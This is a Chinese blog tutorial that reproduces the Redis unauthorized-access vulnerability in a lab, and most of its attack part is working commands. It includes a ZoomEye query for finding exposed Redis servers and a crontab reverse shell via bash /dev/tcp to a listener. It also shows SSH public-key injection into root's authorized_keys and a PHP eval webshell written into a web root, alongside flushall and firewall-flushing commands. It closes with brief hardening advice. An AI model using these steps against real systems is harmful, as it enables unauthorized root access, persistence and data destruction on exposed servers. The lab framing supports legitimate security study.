redis未授权漏洞复现(超详细)

redis 漏洞总结

zoomeye语法:service:"redis"+"redis_version"

1、Redis 未授权访问漏洞

(1)原理

Redis默认情况下,会绑定0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则表面其他非信任来源IP访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证 (一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据

攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥 写入目标服务器的/root/.ssh文件夹中authotrized_keys文件中,进而可以只用对应私钥直接使用ssh服务登录目标服务器。

(2)条件
  • redis绑定在0.0.0.0:6379,且没有添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务
(3)漏洞危害
  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门程序
  • 最严重的情况,如果Redis以root身份与运行,黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器

(4)漏洞的影响版本

Redis 2.x,3.x,4.x,5.x

实战中redis常用命令:

1.redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
2.info 																# 查看相关redis信息
3.set xz "Hacker"                     # 设置键xz的值为字符串Hacker
4.get xz                              # 获取键xz的内容
5.INCR score                          # 使用INCR命令将score的值增加1
6.keys *                              # 列出当前数据库中所有的键
7.config set protected-mode no        # 关闭安全模式
8.get anotherkey                      # 获取一个不存在的键的值
9.config set dir /root/redis          # 设置保存目录
10.config set dbfilename redis.rdb     # 设置保存文件名
11.config get dir                      # 查看保存目录
12.config get dbfilename               # 查看保存文件名
13.save                                # 进行一次备份操作
14.flushall                            # 删除所有数据
15.del key                             # 删除键为key的数据
16.slaveof ip port   					# 设置主从关系

17.127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3   #批量设置键值对
				   OK

18.127.0.0.1:6379> mget k1 k2 k3 		#批量获取键值对
				1) "v1"
				2) "v2"
				3) "v3"
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";

redis.conf 配置文件参数

port参数:
    格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
    格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.47.173 10.0.0.1,表允许192.168.47.173和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
    格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
        save 900 1
        save 300 10
        save 60 10000
    表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
    格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
    格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
    格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
    通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
    redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

复现过程:

安装Redis

1.redis服务端安装

靶机:centos7
wget https://download.redis.io/releases/redis-4.0.10.tar.gz//下载redis压缩包
tar -zxvfredis-4.0.10.tar.gz//解压我们下载的压缩包

cd redis-4.0.10/src//然后进入redis的src目录下
然后进行编译安装
make
make install
这下面是成功截图

注:上述命令在centos7成功,在这个Ubuntu22.04是遇到了没有gcc等错误,所以最后靶机就定为centos7了
修改配置文件
vim打开redis.conf文件,然后找到daemonize 值改为yes(后台启动,不然窗口一关服务就挂了)
bind 127.0.0.1注释掉,否则只允许本地访问
requirepass yourpassword可以设置密码(这个实验就先不设置了)
protected-mode no
启动redis服务:需要两个文件 redis-server redis.conf(注意这两个并不是在同一级目录,根据自己当前所在目录进行调用)

这里我的攻击机已经连上了redis

2.安装Redis客户端

攻击机:kali
tar -zxf redis-7.0.0.tar.gz
cd redis-7.0.0
make
cp src/redis-cli /usr/bin

// 测试连接
redis-cli -h your_host -p 6379 -a "pass" --raw
  • -h: 远程连接的主机
  • -p: 远程连接的端口
  • -a: 密码
  • --raw:解决中文乱码。

注:测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。

iptables -L -nv
iptables -F

只要是linux,任何发型版本都有iptables,firewall和ufw都是调用的iptables,虽然我把firewalld关了,但是还是有iptables策略。

未授权 Redis 拿 shell 的 3 种方式

1.通过写 SSH key
2.通过向 Web 目录中写入 webshell
3.通过写 crontab 计划任务

3 Redis 漏洞利用

3.1 利用计划任务反弹shell

3.1.1 kali 监听端口

nc -nvlp 2333


注:这个是反弹payload之后,成功连接的图

3.1.2 远程连接Redis服务器并写入反弹Payload

// 设置key
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n"
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
// 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
然后等待成功就行了

3.2 利用写入公钥登录ssh

3.2.1 kali 生成公私钥

// 生成公私钥
ssh-keygen -t rsa

// 防止乱码,导出key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

// 导入内容
cat key.txt| redis-cli -h 192.168.253.135 -x set putsshkey

3.2.2 远程连接Redis服务器并写入公钥

这个注意如果centos7没有.ssh,创建一个就行

// 设置路径
config set dir /root/.ssh
// 设置文件名
config set dbfilename authorized_keys
// 保存key值到root文件中
save

3.2.3 kali 远程登录目标系统

ssh -i id_rsa root@192.168.253.135

3.3 利用写入WEBShell连接远程服务器

3.3.1 远程连接Redis服务器并写入WEBShell

这个想要复现可以在Linux一键部署个小皮面板:这个是centos安装的脚本
yum install -y wget && wget -O install.sh https://download.xp.cn/install.sh && sh install.sh
注意事项:
/www/admin/localhost_80/wwwroot 这个是默认根路径
然后你可能把一句话木马传上去了,但是蚁剑连接不上
1.先是排查一句话木马有没有写错
2.然后就是排查小皮的apache的服务有没有起来,这个要去浏览器的的管理界面去看,然后如果没启,就把它起来,如果报错,可能是这个80端口被占用
netstat -anlp | grep 80
来排查哪个服务占用的,把那个服务停了,再启apache就行了

利用条件:

  • 知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。)
  • 无需是 root 起的 Redis
  • 可适用于 Windows(非 ssh 连接)
  • 一般无需 flushall 清空数据库(一定情况下也需要)
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename webshell.php
set x '<?php @eval($_GET["cmd"]);phpinfo();?>'
save
蚁剑连接

4 redis安全配置

  1. 以普通账号启动redis服务
  2. 监听本地或特定主机
  3. 开启 protected-mode
  4. 更改默认6379端口
  5. 为redis设置密码

参考链接:
https://blog.csdn.net/weixin_45605352/article/details/118790775
https://blog.csdn.net/weixin_65049289/article/details/128696731
https://www.cnblogs.com/xinga/articles/16976528.html
https://www.freebuf.com/vuls/349094.html

posted @ 2024-05-16 09:42  红云hongyun  阅读(8509)  评论(2)    收藏  举报